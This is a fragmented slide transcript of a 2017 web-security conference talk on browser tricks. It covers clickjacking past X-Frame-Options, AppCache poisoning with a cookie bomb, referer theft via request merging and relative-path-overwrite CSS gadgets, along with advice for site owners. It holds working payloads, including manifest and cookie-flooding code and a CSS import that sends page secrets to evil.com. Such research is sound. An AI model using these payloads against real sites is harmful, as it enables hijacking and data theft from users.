

Exploiting the unexploitable with lesser known browser tricks

Exploiting the unexploitable with lesser known browser tricks - filedescriptor, Speaker Deck.

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May 11, 2017

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Transcript

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Exploiting the unexploitable with lesser known browser tricks @AppsecEU2017

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How is a cat the speaker? • @filedescriptor • Pentester

for Cure53 • ♥Browser & Web Security • #1 at Twitter " Bounty Program ??

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-Every site that uses XFO “Clickjacking is a solved problem”

-

X-Frame-Options Value Should I use it? Why ALLOWALL Nope As

its name suggests ALLOW-FROM uri Nope Not work on Webkit/Blink DENY Yup Not framable at all SAMEORIGIN Yup? Not framable by other sites

-

XFO: sameorigin Expectation Reality

-

What does that mean? • Sites that frame untrusted pages

are still vulnerable • but... • who is stupid enough to allow untrusted frames?

-

Google AMP <https://google.com/amp/s/yoursite.com>

-

None

-

Site-wide XFO: sameorigin

-

Top frame: google.com Intermediate frame: innerht.ml Child frame: google.com

-

Twitter Player Card

-

<script> var twttr = twttr || {}; if (self !=

top) { document.documentElement.style.display = 'none'; } </script> but, anti-frame-buster <iframe src="https://twitter.com/oauth/authorize" sandbox="allow-forms"></iframe> In addition to XFO there's frame-buster

-

Top frame: twitter.com Intermediate frame: innerht.ml Child frame: twitter.com

-

None

-

XFO: sameorigin considered harmful • For researchers: • Don't give

up when you see XFO: sameorigin • Look for places where untrusted frames are allowed • For site owners: • Use Content-Security-Policy: frame-ancestors (except IE) • Don't allow untrusted frames

-

-Every bug bounty program “XSS on sandboxed domains is out-of-scope”

-

None

-

Service Worker’s scope # `https://dl.drop/u/evil/worker.js` $\square$ `https://dl.drop/u/evil/stuff` $\square$ `https://dl.drop/u/legit/stuff`

-

`https://dl.drop/u/evil/hack.html https://dl.drop/u/evil%2fworker.js (https://dl.drop/u/evil/worker.js) & https://dl.drop/u/legit/foo.exe & https://dl.drop/u/evil/virus.exe / -> %2f`

(server-side decoding)

-

None

-

None

-

Service Worker has an older brother

-

Appcache `<html manifest="manifest.txt"> </html>` Content-Type: text/cache-manifest is not mandatory

-

Appcache’s fallback `404.html backup.html` If a response is inaccessible, fallback

file will be served instead

-

Appcache - scope + error = Service Worker

-

Cookie Bomb

-

Cookie ' + Appcache = ? 1. Set many cookies on

root path 2. Requests to every file will result in HTTP 413 3. Appcache's fallback kicks in and replaces the response 4. ??? 5. Profit!

-

AppCache Poisoning <https://dl.drop/u/evil/hack.html> <https://dl.drop/u/evil/manifest.txt> & <https://dl.drop/u/legit/foo.exe> (HTTP 413) & <https://dl.drop/u/evil/virus.exe>

(fallback)

-

Attack in action CACHE MANIFEST # Permanently cache the manifest

file itself manifest.txt # Route all traffic to poison.html FALLBACK: / poison.html <html manifest="manifest.txt"> <script> for(var i = 1e2; i--) document.cookie = i + '=' + Array(4e3).join(0) + '; path=/'; </script> </html> attack.html manifest.txt

-

Impact • Requests/responses will be persistently hijacked • The only

way to get rid of it is users manually clear cookies/appcache

-

How to “patch” it • Put your sandboxed domains onto

Public Suffix List • domains on the list cannot have cookies • Avoid directly serving HTML files • Optimally, serve user generated contents on different subdomains instead of directories

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None

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-Every lazy developer “When in doubt, validate Referer”

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Real world scenario • Assuming appA.com wants to share authenticated

user info to its partners • It uses JSONP to transfer the data • It checks if the importing website is its partners by validating referer

-

callback({"user":...}) https://appA.com/user.js https://appB.com/ https://appC.com/ https://evil.com/ Referer: appB.com Referer: appC.com Referer:

evil.com

-

9 catz but only 1 request! Observation

-

** **

 }
GET cat.png HTTP/1.1

-

** **

GET cat.png?1 HTTP/1.1 GET cat.png?2 HTTP/1.1 GET cat.png?3 HTTP/1.1
GET cat.png?4 HTTP/1.1 GET cat.png?5 HTTP/1.1 GET cat.png?6 HTTP/1.1
GET cat.png?7 HTTP/1.1 GET cat.png?8 HTTP/1.1 GET cat.png?9 HTTP/1.1

-

Request merging • If multiple same simple requests are issued

at the same time, they will be merged into one (Chrome, Safari & IE) • Same being same URL and same initiator • Simple being GET requests and simple initiators (script, style, image, ...) • Simultaneously being if there is an unfinished same request

-

URL Initiator Same unfinished requests will be merged New request

if no unfinished requests <script src="jquery.js" defer></script> <script src="jquery.js" defer></script> <!-- delay 2 seconds --> <script src="jquery.js" defer></script>

-

It works on iframes too! merged jquery.js

-

Wait, what about the referer?

-

Headers are not considered • Requests are merged even if

they have different request headers • If siteA and siteB imports the same script in the same tab simultaneously, they share the first issued request

-

Stealin' the referer merged `https://appA.com/user.js`

-

`attacker.com` `victim.com` `appA.com/user.js` `appA.com/user.js` `iframe` `script` `script merged` `Referer: victim.com`

-

Referer validation is fragile • There were and will be

tons of ways to forge referer • Always assume referer is not a reliable source (I'm (ing at you Twitter) • User CORS for cross-origin requests

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-Every site that has more than one domain "Why absolute

when you can relative"

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Relative Path Overwrite `http://example.com/foo/bar.php` `main.css` `/foo/main.css`

-

Relative Path Overwrite `http://example.com/foo/bar.php/1337` `main.css` `/foo/bar.php/main.css`

-

Quirks mode ignores CSS errors `<html>` `<head>` `<link href="main.css" rel="stylesheet">`

`</head>` `<body>` `{ }*{background:red}` `</body>` `</html>` `bar.php`

-

Relative Path Overwrite <http://example.com/foo/bar.php/1337> /foo/bar.php/main.css main.css This part server doesn't

care

-

Things you can do • XSS via expression/scriptlet on IE

(requires old versions/compat mode) • Leak current URL via Referer • Steal secret contents

-

You can't steal secrets if there's no secrets <html> <head>

```
<link href="main.css" rel="stylesheet"> </head> <body> {}*{background:red} </body>
</html>
```

-

RPO Gadget • Not ROP Gadget • The “stylesheet” itself

does not contain secrets • But you can import another “stylesheet” that contains secrets • It's like using the “stylesheets” as gadgets

-

```
<html> <head> <link href="main.css" rel="stylesheet"> </head> <
body> {}@import'../admin.php' </body> </html>
```

```
bar.php <html> <head> </head> <body> {}@import"//evil.com/? <p>secret</p>
</body> </html> admin.php http://evil.com/?<p>secret...
```

-

Google Toolbar

-

RPO = CSS abuse?

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IE doesn't know how to decode URL in redirect HTTP/1.1

302 Found Location: <http://example.com/foo/bar.jsp;/.%2e/.%2e/1337> GET
/foo/bar.jsp;/.%2e/.%2e/1337 HTTP/1.1 <http://example.com/1337>

-

Controlling JS path <http://example.com/1337> main.js /main.js <http://example.com/foo/bar.jsp;/.%2e/.%2e/1337> /foo/main.js Server sees

Expected Imported

-

Google Fusion Table

-

scripts imported with relative path

-

Attack in action https://www.google.com/amp/innerht.ml/js/gvizchart_all_js.js/amp/innerht.ml/js/gvizchart_all_js.js <https://www.google.com/fusiontables/DataSource;/.%2e/.%2e/amp/innerht.ml?docid=foobar/fusiontables/>

js/gvizchart_all_js.js https://innerht.ml/js/gvizchart_all_js.js (302 Redirect) Server sees Expected Imported

-

None

-

How to tell if a site is vulnerable? • If

there is a web page in which • it returns the same response even if appended `;/.%2e/.%2e`
• There's a scripts imported with relative path • There's a path-based open redirect

-

Moral of the story • Relative paths are dangerous •

There are even more similar quirks waiting to be discovered • You should configure the server such that paths with trailing junks are considered separate routes

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Recap • XFO: sameorigin • Sandboxed domain cookies • Referer

based protection • Relative path & lax server configuration

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Questions? Comments? Thank you very much!